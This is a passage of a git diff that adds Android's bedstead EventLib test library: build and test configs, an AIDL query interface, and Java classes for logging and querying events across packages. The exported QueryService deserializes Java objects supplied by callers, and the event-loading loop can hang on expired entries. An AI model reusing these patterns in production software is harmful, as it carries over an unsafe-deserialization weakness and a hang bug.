+            doAnswer(answer).when(spy).isWifiEnabled();
+            doAnswer(answer).when(spy).setWifiEnabled(anyBoolean());
+        } catch (Exception e) {
+            // Should never happen, but needs to be catch as some methods declare checked exceptions
+            Log.wtf("Exception setting mocks", e);
+        }
+
+        sSpies.put(context, spy);
+        Log.d(TAG, "get(): returning new spy for context " + context + " and user "
+                + userId);
+
+        return spy;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/Android.bp b/common/device-side/bedstead/eventlib/Android.bp
new file mode 100644
index 0000000..2010d72
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/Android.bp
@@ -0,0 +1,36 @@
+android_library {
+    name: "EventLib",
+    sdk_version: "current",
+    srcs: [
+        "src/main/java/**/*.java",
+        "src/main/aidl/**/I*.aidl",
+    ],
+    static_libs: [
+        "Nene",
+        "androidx.test.ext.junit"],
+    manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "26"
+}
+
+android_test {
+    name: "EventLibTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "EventLib",
+        "ActivityContext",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "testng", // for assertThrows
+        "mockito-target-minus-junit4", // TODO(scottjonathan): Remove once we can get rid of mocks
+        "compatibility-device-util-axt", // used for SystemUtil.runShellCommandOrThrow
+    ],
+    data: [":EventLibTestApp"],
+    manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "26"
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/AndroidTest.xml b/common/device-side/bedstead/eventlib/AndroidTest.xml
new file mode 100644
index 0000000..92bc28a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for Event Library test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="EventLibTest.apk" />
+        <option name="test-file-name" value="EventLibTestApp.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.eventlib.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/OWNERS b/common/device-side/bedstead/eventlib/OWNERS
new file mode 100644
index 0000000..ce3438f
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/OWNERS
@@ -0,0 +1,2 @@
+scottjonathan@google.com
+alexkershaw@google.com
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/TEST_MAPPING b/common/device-side/bedstead/eventlib/TEST_MAPPING
new file mode 100644
index 0000000..c19ccac
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "EventLibTest"
+    }
+  ]
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml b/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..19ce3fa
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.eventlib">
+    <uses-sdk android:minSdkVersion="26" />
+    <application>
+        <service android:name="com.android.eventlib.QueryService" android:exported="true"/>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl b/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
new file mode 100644
index 0000000..27b5ba7
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
@@ -0,0 +1,64 @@
+package com.android.eventlib;
+
+/**
+ * Service exposed to allow other packages to query logged events in this package.
+ */
+interface IQueryService {
+    /**
+     * Initialise a new query.
+     *
+     * <p>This method must be called before any other interaction with this service.
+     *
+     * <p>The {@code data} must contain a {@code QUERIER} key which contains a serialized instance
+     * of {@code EventQuerier}.
+     */
+    void init(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#get}.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle get(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#get} which increments the count of skipped
+     * results for calls to {@link #get}.
+     *
+     * <p>This should be used when the result from {@link #get} does not pass additional filters.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle getNext(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#next}.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle next(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#poll}.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}, and a {@code TIMEOUT} key which contains a serialized instance
+     * of {@code Duration}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle poll(long id, in Bundle data);
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
new file mode 100644
index 0000000..40afafb
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.time.Instant;
+
+/**
+ * Represents a single action which has been logged.
+ */
+public abstract class Event implements Serializable {
+
+    // This class should contain all standard data applicable to all Events.
+
+    protected String mPackageName;
+    protected Instant mTimestamp;
+
+    /** Get the package name this event was logged by. */
+    public String packageName() {
+        return mPackageName;
+    }
+
+    /** Get the time that this event was logged. */
+    public Instant timestamp() {
+        return mTimestamp;
+    }
+
+    /**
+     * Serialize the {@link Event} to a byte array.
+     *
+     * <p>The resulting array can be deserialized using {@link #fromBytes(byte[])}.
+     */
+    byte[] toBytes() throws IOException {
+        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
+             ObjectOutputStream out = new ObjectOutputStream(bos)) {
+            out.writeObject(this);
+            out.flush();
+            return bos.toByteArray();
+        }
+    }
+
+    /**
+     * Deserialize an {@link Event} from a byte array created using {@link #toBytes()}.
+     */
+    static Event fromBytes(byte[] bytes) throws IOException {
+        try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
+             ObjectInput in = new ObjectInputStream(bis)) {
+            try {
+                return (Event) in.readObject();
+            } catch (ClassNotFoundException e) {
+                throw new IllegalStateException(
+                        "Trying to read Event which is not on classpath", e);
+            }
+        }
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java
new file mode 100644
index 0000000..2caade2
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.content.Context;
+
+import java.time.Instant;
+
+/** Superclass of all classes which allow creating new event logs. */
+public abstract class EventLogger<E extends Event> {
+
+    /** Default {@link EventLogger} to be used when there are no custom fields to be logged. */
+    public static class Default<F extends Event> extends EventLogger<F> {
+        public Default(Context context, F event) {
+            super(context, event);
+        }
+    }
+
+    protected EventLogger(Context context, E event) {
+        if (context == null || event == null) {
+            throw new NullPointerException();
+        }
+        mContext = context.getApplicationContext();
+        mEvent = event;
+    }
+
+    private final Context mContext;
+    protected final E mEvent;
+
+    /**
+     * Commit the log so it is accessible to be queried.
+     *
+     * <p>This will record the current package name and timestamp.
+     */
+    public void log() {
+        mEvent.mPackageName = mContext.getPackageName();
+        mEvent.mTimestamp = Instant.now();
+
+        Events.getInstance(mContext).log(mEvent);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
new file mode 100644
index 0000000..b881af9
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.util.Log;
+
+import java.io.Serializable;
+import java.time.Duration;
+import java.time.Instant;
+
+/** Interface to interact with the results of an {@link EventLogsQuery}. */
+public abstract class EventLogs<E extends Event> implements Serializable {
+    static final Duration DEFAULT_POLL_TIMEOUT = Duration.ofMinutes(5);
+
+    static Instant sEarliestLogTime = Instant.now();
+
+    /**
+     * Returns the {@link EventQuerier} to be used to interact with the
+     * appropriate {@link Event} store.
+     */
+    protected abstract EventQuerier<E> getQuerier();
+
+    /**
+     * Ensures that future calls to {@link #get()}, {@link #next()}, and {@link #poll()} only return
+     * events which are not already logged before this call to {@link #resetLogs()}.
+     */
+    public static void resetLogs() {
+        // We delay 1 ms before and after to separate the cutoff from logs which are
+        // triggered immediately by the tests - this makes behaviour more predictable
+
+        try {
+            Thread.sleep(1);
+        } catch (InterruptedException e) {
+            Log.d("EventLogs", "Interrupted when sleeping during resetLogs");
+        }
+
+        sEarliestLogTime = Instant.now();
+
+        try {
+            Thread.sleep(1);
+        } catch (InterruptedException e) {
+            Log.d("EventLogs", "Interrupted when sleeping during resetLogs");
+        }
+    }
+
+    /**
+     * Gets the earliest logged event matching the query, if one has been logged by the time the
+     * call is made, otherwise returns null.
+     */
+    public E get() {
+        return getQuerier().get(sEarliestLogTime);
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not been returned by a previous
+     * call to {@link #next()} or {@link #poll()}, if one has been logged by the time the call is
+     * made, otherwise returns null.
+     */
+    public E next() {
+        return getQuerier().next(sEarliestLogTime);
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@code timeout} and return null if no matching event is logged.
+     */
+    public E poll(Duration timeout) {
+        return getQuerier().poll(sEarliestLogTime, timeout);
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@link #DEFAULT_POLL_TIMEOUT} and return null if no matching
+     * event is logged.
+     */
+    public E poll() {
+        return poll(DEFAULT_POLL_TIMEOUT);
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@code timeout} and throw an {@link AssertionError} if no
+     * matching event is logged.
+     */
+    public E pollOrFail(Duration timeout) {
+        E event = poll(timeout);
+        if (event == null) {
+            throw new AssertionError("No event was found before timeout");
+        }
+        return event;
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@link #DEFAULT_POLL_TIMEOUT} and throw an {@link AssertionError}
+     * if no matching event is logged.
+     */
+    public E pollOrFail() {
+        return pollOrFail(DEFAULT_POLL_TIMEOUT);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
new file mode 100644
index 0000000..35bdf2a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.HashSet;
+import java.util.Set;
+import java.util.function.Function;
+
+/**
+ * Interface to provide additional restrictions on an {@link Event} query.
+ */
+public abstract class EventLogsQuery<E extends Event, F extends EventLogsQuery>
+        extends EventLogs<E> {
+
+    /**
+     * Default implementation of {@link EventLogsQuery} used when there are no additional query
+     * options to add.
+     */
+    public static class Default<E extends Event> extends EventLogsQuery<E, Default> {
+        public Default(Class<E> eventClass, String packageName) {
+            super(eventClass, packageName);
+        }
+
+        @Override
+        protected boolean filter(E event) {
+            return getPackageName().equals(event.packageName());
+        }
+    }
+
+    private final Class<E> mEventClass;
+    private final String mPackageName;
+    private final transient Set<Function<E, Boolean>> filters = new HashSet<>();
+    private transient UserHandle mUserHandle = null; // null is default, meaning current user
+
+    protected EventLogsQuery(Class<E> eventClass, String packageName) {
+        if (eventClass == null || packageName == null) {
+            throw new NullPointerException();
+        }
+        mQuerier = new RemoteEventQuerier<>(packageName, this);
+        mEventClass = eventClass;
+        mPackageName = packageName;
+    }
+
+    /** Get the package name being filtered for. */
+    protected String getPackageName() {
+        return mPackageName;
+    }
+
+    protected Class<E> eventClass() {
+        return mEventClass;
+    }
+
+    private final transient EventQuerier<E> mQuerier;
+
+    @Override
+    protected EventQuerier<E> getQuerier() {
+        return mQuerier;
+    }
+
+    /** Apply a lambda filter to the results. */
+    public F filter(Function<E, Boolean> filter) {
+        filters.add(filter);
+        return (F) this;
+    }
+
+    /**
+     * Returns true if {@code E} matches custom and default filters for this {@link Event} subclass.
+     */
+    protected final boolean filterAll(E event) {
+        if (filters != null) {
+            // Filters will be null when called remotely
+            for (Function<E, Boolean> filter : filters) {
+                if (!filter.apply(event)) {
+                    return false;
+                }
+            }
+        }
+        return filter(event);
+    }
+
+    /** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
+    protected abstract boolean filter(E event);
+
+    /** Query a package running on another user. */
+    public F onUser(UserHandle userHandle) {
+        if (userHandle == null) {
+            throw new NullPointerException();
+        }
+        mUserHandle = userHandle;
+        return (F) this;
+    }
+
+    /** Query a package running on another user. */
+    public F onUser(UserReference userReference) {
+        return onUser(userReference.userHandle());
+    }
+
+    UserHandle getUserHandle() {
+        return mUserHandle;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java
new file mode 100644
index 0000000..5bead5a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import java.time.Duration;
+import java.time.Instant;
+
+
+/** Interface for interacting with a local or remote {@link Event} store. */
+interface EventQuerier<E extends Event> {
+
+    /**
+     * Gets the first {@link Event} which wasn't logged before {@code earliestLogTime},
+     * or returns null.
+     */
+    E get(Instant earliestLogTime);
+
+    /**
+     * Gets the next unseen {@link Event} which wasn't logged before {@code earliestLogTime},
+     * or returns null.
+     */
+    E next(Instant earliestLogTime);
+
+    /**
+     * Gets the next unseen {@link Event} which wasn't logged before {@code earliestLogTime},
+     * or blocks until one is logged.
+     *
+     * <p>After {@code timeout}, null will be returned.
+     */
+    E poll(Instant earliestLogTime, Duration timeout);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
new file mode 100644
index 0000000..38c1543
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.content.Context;
+import android.util.Log;
+
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.time.Duration;
+import java.time.Instant;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.WeakHashMap;
+
+/** Event store for the current package. */
+class Events {
+
+    private static final String TAG = "Events";
+    private static final String EVENT_LOG_FILE_NAME = "Events";
+    private static final Duration MAX_LOG_AGE = Duration.ofMinutes(5);
+    private static final int BYTES_PER_INT = 4;
+
+    /** Interface used to be informed when new events are logged. */
+    interface EventListener {
+        void onNewEvent(Event e);
+    }
+
+    private static Events mInstance;
+
+    static Events getInstance(Context context) {
+        if (mInstance == null) {
+            synchronized (Events.class) {
+                if (mInstance == null) {
+                    mInstance = new Events(context.getApplicationContext());
+                    mInstance.initialiseFiles();
+                }
+            }
+        }
+        return mInstance;
+    }
+
+    private final Context mContext; // ApplicationContext
+    private FileOutputStream mOutputStream;
+
+    private Events(Context context) {
+        this.mContext = context;
+    }
+
+    private void initialiseFiles() {
+        loadEventsFromFile();
+        try {
+            mOutputStream = mContext.openFileOutput(EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE);
+            // We clear the file and write the logs again so we can exclude old logs
+            // This avoids the file growing without limit
+            writeAllEventsToFile();
+        } catch (FileNotFoundException e) {
+            throw new IllegalStateException("Could not write event log", e);
+        }
+    }
+
+    private void loadEventsFromFile() {
+        Instant now = Instant.now();
+        try (FileInputStream fileInputStream = mContext.openFileInput(EVENT_LOG_FILE_NAME)) {
+            Event event = readEvent(fileInputStream);
+
+            while (event != null) {
+                if (event.mTimestamp.plus(MAX_LOG_AGE).isBefore(now)) {
+                    continue;
+                }
+                mEventList.add(event);
+                event = readEvent(fileInputStream);
+            }
+        } catch (FileNotFoundException e) {
+            // Ignore this exception as if there's no file there's nothing to load
+        } catch (IOException e) {
+            Log.e(TAG, "Error when loading events from file", e);
+        }
+    }
+
+    private void writeAllEventsToFile() {
+        for (Event event : mEventList) {
+            writeEventToFile(event);
+        }
+    }
+
+    private Event readEvent(FileInputStream fileInputStream) throws IOException {
+        if (fileInputStream.available() < BYTES_PER_INT) {
+            return null;
+        }
+        byte[] sizeBytes = new byte[BYTES_PER_INT];
+        fileInputStream.read(sizeBytes);
+
+        int size = ByteBuffer.wrap(sizeBytes).getInt();
+
+        byte[] eventBytes = new byte[size];
+        fileInputStream.read(eventBytes);
+
+        return Event.fromBytes(eventBytes);
+    }
+
+    /** Saves the event so it can be queried. */
+    void log(Event event) {
+        Log.d(TAG, event.toString());
+
+        mEventList.add(event); // TODO: This should be made immutable before adding
+        writeEventToFile(event);
+        triggerEventListeners(event);
+    }
+
+    private void writeEventToFile(Event event) {
+        try {
+            byte[] eventBytes = event.toBytes();
+            mOutputStream.write(
+                    ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
+            mOutputStream.write(eventBytes);
+        } catch (IOException e) {
+            throw new IllegalStateException("Error writing event to log", e);
+        }
+    }
+
+    private final List<Event> mEventList = new ArrayList<>();
+    // This is a weak set so we don't retain listeners from old tests
+    private final Set<EventListener> mEventListeners
+            = Collections.newSetFromMap(new WeakHashMap<>());
+
+    /** Get all logged events. */
+    public List<Event> getEvents() {
+        return mEventList;
+    }
+
+    /** Register an {@link EventListener} to be called when a new {@link Event} is logged. */
+    public void registerEventListener(EventListener listener) {
+        synchronized (Events.class) {
+            mEventListeners.add(listener);
+        }
+    }
+
+    private void triggerEventListeners(Event event) {
+        synchronized (Events.class) {
+            for (EventListener listener : mEventListeners) {
+                listener.onNewEvent(event);
+            }
+        }
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
new file mode 100644
index 0000000..ff46782
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.content.Context;
+
+import java.time.Duration;
+import java.time.Instant;
+import java.util.concurrent.BlockingDeque;
+import java.util.concurrent.LinkedBlockingDeque;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Implementation of {@link EventQuerier} which queries data about the current package.
+ */
+public class LocalEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E>, Events.EventListener {
+    private final EventLogsQuery<E, F> mEventLogsQuery;
+    private final Events mEvents;
+    private final BlockingDeque<Event> mFetchedEvents;
+    private int skippedGet = 0;
+
+    LocalEventQuerier(Context context, EventLogsQuery<E, F> eventLogsQuery) {
+        mEventLogsQuery = eventLogsQuery;
+        mEvents = Events.getInstance(context);
+        mFetchedEvents = new LinkedBlockingDeque<>(mEvents.getEvents());
+        mEvents.registerEventListener(this);
+    }
+
+    @Override
+    public E get(Instant earliestLogTime) {
+        int skipped = 0;
+        for (Event event : mEvents.getEvents()) {
+            if (mEventLogsQuery.eventClass().isInstance(event)) {
+                if (event.mTimestamp.isBefore(earliestLogTime)) {
+                    continue;
+                } else if (skipped++ < skippedGet) {
+                    continue;
+                }
+
+                E typedEvent = (E) event;
+                if (mEventLogsQuery.filterAll(typedEvent)) {
+                    return typedEvent;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Same as {@link #get(Instant)} but incremements the number of skipped results.
+     *
+     * <p>This should be used when the current result from {@link #get(Instant)} does not pass
+     * additional filters.
+     */
+    public E getNext(Instant earliestLogTime) {
+        skippedGet += 1;
+        return get(earliestLogTime);
+    }
+
+    @Override
+    public E next(Instant earliestLogTime) {
+        while (!mFetchedEvents.isEmpty()) {
+            Event event = mFetchedEvents.removeFirst();
+
+            if (mEventLogsQuery.eventClass().isInstance(event)) {
+                if (event.mTimestamp.isBefore(earliestLogTime)) {
+                    continue;
+                }
+
+                E typedEvent = (E) event;
+                if (mEventLogsQuery.filterAll(typedEvent)) {
+                    return typedEvent;
+                }
+            }
+        }
+        return null;
+    }
+
+    @Override
+    public E poll(Instant earliestLogTime, Duration timeout) {
+        Instant endTime = Instant.now().plus(timeout);
+        while (true) {
+            Event event = null;
+            try {
+                Duration remainingTimeout = Duration.between(Instant.now(), endTime);
+                event = mFetchedEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+
+            if (event == null) {
+                // Timed out waiting for event
+                return null;
+            }
+
+            if (mEventLogsQuery.eventClass().isInstance(event)) {
+                if (event.mTimestamp.isBefore(earliestLogTime)) {
+                    continue;
+                }
+
+                E typedEvent = (E) event;
+                if (mEventLogsQuery.filterAll(typedEvent)) {
+                    return typedEvent;
+                }
+            }
+        }
+    }
+
+    @Override
+    public void onNewEvent(Event event) {
+        mFetchedEvents.addLast(event);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java
new file mode 100644
index 0000000..4efd3ce
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+import java.time.Duration;
+import java.time.Instant;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * Implementation of {@link IQueryService}.
+ */
+public final class QueryService extends Service {
+
+    public static final String EARLIEST_LOG_TIME_KEY = "EARLIEST_LOG_TIME";
+    public static final String QUERIER_KEY = "QUERIER";
+    public static final String EVENT_KEY = "EVENT";
+    public static final String TIMEOUT_KEY = "TIMEOUT";
+
+    private static class QueryClient {
+        final EventLogsQuery<?, ?> query;
+        final LocalEventQuerier<?, ?> querier;
+
+        public QueryClient(EventLogsQuery<?, ?> query, LocalEventQuerier<?, ?> querier) {
+            this.query = query;
+            this.querier = querier;
+        }
+    }
+
+    private final IQueryService.Stub binder = new IQueryService.Stub() {
+
+        // Map of all initialised clients, to keep track of progress when using poll/next
+        private final ConcurrentHashMap<Long, QueryClient> clients = new ConcurrentHashMap<>();
+
+        @Override
+        public void init(long id, Bundle data) {
+            EventLogsQuery<?, ?> query = (EventLogsQuery<?, ?>) data.getSerializable(QUERIER_KEY);
